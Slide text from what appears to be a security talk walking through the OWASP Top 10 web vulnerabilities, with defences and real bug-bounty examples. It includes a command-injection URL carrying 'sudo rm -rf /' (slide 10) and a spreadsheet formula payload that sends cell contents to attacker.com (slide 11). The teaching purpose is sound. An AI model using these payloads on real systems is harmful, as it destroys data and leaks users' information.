Slide 1
Slide 1 text
Let’s talk Security
Understanding, Exploiting and Defending against Top Web
Vulnerabilities
Dheeraj Joshi
djadmin.in
Slide 2
Slide 2 text
About Me
I find security vulnerabilities for fun
& swag and I wear White Hat.
Uber, CKEditor, Dropbox,
MailChimp, InVision, DigitalOcean,
CloudFare, Intuit, Groupon, etc.
What makes me happy?
Slide 3
Slide 3 text
Security - Into The Details
● Owasp’s Top 10 Vulnerabilities
○ Explain
○ Impact
○ Defense
○ Real examples (External + Internal)
● Demo - RCE
● Q & A
Slide 4
Slide 4 text
Why should Startups
Care about Security?
Startups & SMEs are impromptu
for cutting corners. One of the
first things they cut is ‘Security'.
Slide 5
Slide 5 text
No content
Slide 6
Slide 6 text
HACKER PUTS HOSTING SERVICE CODE
SPACES OUT OF BUSINESS
The Shutdown
Slide 7
Slide 7 text
OWASP Top 10 And Beyond
Slide 8
Slide 8 text
INJECTION
Slide 9
Slide 9 text
PREVENT INJECTION
● For databases use prepared statements
● Whitelist inputs wherever possible
● Sanitize inputs (use filter extension)
● Don’t trust user input and always verify!
Slide 10
Slide 10 text
Example
Google Command Injection
We can include any command in the URL below
https://console.cloud.google.com/home/dashboard?
project=;sudo rm -rf /
Found by an Indian Security Researcher (S. Venkatesh)
Slide 11
Slide 11 text
Exploiting ‘Export as CSV’ functionality
Formula
Injection
=HYPERLINK("http://attacker.com?leak="&A1&A2,"Error: please
click for further information")
Fix - Append a single quote (‘) to the list of formula triggers ( =, +, -)
If victim clicks this cell, they will inadvertently exfiltrate the contents of
cells A1 and A2 to attacker website, which may include other users’
sensitive information.
Slide 12
Slide 12 text
BROKEN AUTHENTICATION AND SESSION
MANAGEMENT
Slide 13
Slide 13 text
MITIGATION
● Enforce strong password policy
● Require periodic reset of password
● Use 2 factor authentication
● Use SSL and secure flag on cookies
● Don’t neglect failed-login detection & tracking
● Only use httpOnly cookies
Slide 14
Slide 14 text
CROSS SITE SCRIPTING - XSS
● XSS attack users
● “Javascript Injection”
● Exploits can be bad,
really bad..
Slide 15
Slide 15 text
What is XSS?
Typical Reflected XSS
Slide 16
Slide 16 text
Stored XSS
Slide 17
Slide 17 text
DOM XSS
Slide 18
Slide 18 text
Protect Yourself
● Use filter extension to filter
inputs
● Ensure that outputs are HTML
encoded
● Don’t reinvent the wheel
● Don’t consider any part of the
request as being “safe”
Slide 19
Slide 19 text
ngBind attribute
$sanitize - service in module ngSanitize
Sanitizes an html string by stripping all potentially dangerous tokens.
Slide 20
Slide 20 text
INSECURE DIRECT OBJECT
REFERENCES
Slide 21
Slide 21 text
Scenario / Exploit
1) First, an attacker signup for an account and request ”forgot
password”.
2) You will receive a link :
https://vimeo.com/forgot_password/[user id]/[token]
Slide 22
Slide 22 text
Prevention
● Low level access controls
● Prevent user input in file/URL access
commands
● No unsanitized input to execution
commands
Slide 23
Slide 23 text
SECURITY
MISCONFIGURATION
Slide 24
Slide 24 text
PREVENTION > CURE
● Perform periodic security checks using
automated tools
● Static Code Analysis
● Example : Hardening MySQL, Directory
Listing, Auth Tokens
Slide 25
Slide 25 text
SENSITIVE DATA EXPOSURE
● Exposed PHP error messages
● Unencrypted sensitive data storage
● Not using SSL
● Example: a sensitive token should not be
sent to external websites (Fitbit)
Slide 26
Slide 26 text
MISSING FUNCTION LEVEL ACCESS CONTROL
● Valid input processing without access
controls
● Decentralized access control layer
● Example : Profile email address not
validated (Github), S3 configuration
Slide 27
Slide 27 text
● Don’t perform data changes on
GET
● Use secure (csrf) tokens for
POST
● Impact : Real bad, attack users
● Example : Dropbox,
CodeSchool
CROSS-SITE REQUEST
FORGERY (CSRF)
Slide 28
Slide 28 text
● Not keeping libraries up-to-date
● *cough*Wordpress*cough*
● Example : Third-Party Libraries (Apache CXF
Authentication Bypass, Spring RCE)
USING COMPONENTS WITH
KNOWN VULNERABILITIES
Slide 29
Slide 29 text
UNVALIDATED REDIRECTS AND
FORWARDS
● Header Injection
● JavaScript Parameter Injection
● Reliance on HTTP_REFERER
● Abuse window opener
(Facebook)
Slide 30
Slide 30 text
Example : Dropbox Open Redirect in v1 API
Slide 31
Slide 31 text
Remote Code Execution
Slide 32
Slide 32 text
The solution
● Reset all passwords and
keys
● Remove backdoors (not
easy)
OR
Destroy everything??
Slide 33
Slide 33 text
Thank you
References :
● https://www.owasp.org
● https://djadmin.in/pwn/ (tools)